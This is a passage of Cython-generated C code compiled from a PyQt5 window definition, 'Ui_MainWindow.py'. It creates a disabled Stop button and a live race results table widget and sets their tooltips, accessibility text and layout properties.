(__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop, __pyx_t_7) < 0) __PYX_ERR(0, 703, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":704 * self.horizontalLayout_4.addWidget(self.B_Start) * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Stop.setEnabled(False) # <<<<<<<<<<<<<< * self.B_Stop.setToolTip("") * self.B_Stop.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 704, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 704, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__455, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 704, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":705 * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Stop.setEnabled(False) * self.B_Stop.setToolTip("") # <<<<<<<<<<<<<< * self.B_Stop.setStatusTip("") * self.B_Stop.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 705, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 705, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__456, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 705, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":706 * self.B_Stop.setEnabled(False) * self.B_Stop.setToolTip("") * self.B_Stop.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Stop.setAccessibleName("") * self.B_Stop.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 706, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 706, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__457, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 706, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":707 * self.B_Stop.setToolTip("") * self.B_Stop.setStatusTip("") * self.B_Stop.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Stop.setAccessibleDescription("") * self.B_Stop.setObjectName("B_Stop") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 707, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 707, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__458, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 707, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":708 * self.B_Stop.setStatusTip("") * self.B_Stop.setAccessibleName("") * self.B_Stop.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Stop.setObjectName("B_Stop") * self.horizontalLayout_4.addWidget(self.B_Stop) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 708, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 708, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__459, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 708, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":709 * self.B_Stop.setAccessibleName("") * self.B_Stop.setAccessibleDescription("") * self.B_Stop.setObjectName("B_Stop") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.B_Stop) * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 709, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 709, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__460, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 709, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":710 * self.B_Stop.setAccessibleDescription("") * self.B_Stop.setObjectName("B_Stop") * self.horizontalLayout_4.addWidget(self.B_Stop) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 710, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":711 * self.B_Stop.setObjectName("B_Stop") * self.horizontalLayout_4.addWidget(self.B_Stop) * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) # <<<<<<<<<<<<<< * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) * self.R_RaceLive.setToolTip("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_addLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 711, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":712 * self.horizontalLayout_4.addWidget(self.B_Stop) * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) # <<<<<<<<<<<<<< * self.R_RaceLive.setToolTip("") * self.R_RaceLive.setStatusTip("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QTableWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive, __pyx_t_7) < 0) __PYX_ERR(0, 712, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":713 * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) * self.R_RaceLive.setToolTip("") # <<<<<<<<<<<<<< * self.R_RaceLive.setStatusTip("") * self.R_RaceLive.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 713, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 713, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__461, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 713, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":714 * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) * self.R_RaceLive.setToolTip("") * self.R_RaceLive.setStatusTip("") # <<<<<<<<<<<<<< * self.R_RaceLive.setAccessibleName("") * self.R_RaceLive.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 714, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 714, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__462, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 714, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":715 * self.R_RaceLive.setToolTip("") * self.R_RaceLive.setStatusTip("") * self.R_RaceLive.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_RaceLive.setAccessibleDescription("") * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 715, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 715, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__463, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 715, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":716 * self.R_RaceLive.setStatusTip("") * self.R_RaceLive.setAccessibleName("") * self.R_RaceLive.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 716, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 716, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__464, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 716, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":717 * self.R_RaceLive.setAccessibleName("") * self.R_RaceLive.setAccessibleDescription("") * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) # <<<<<<<<<<<<<< * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFrameShape); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFrame); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_NoFrame); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 717, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":718 * self.R_RaceLive.setAccessibleDescription("") * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) # <<<<<<<<<<<<<< * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive.setTabKeyNavigation(False) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setSizeAdjustPolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QAbstractScrollArea); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_AdjustToContents); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 718, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = 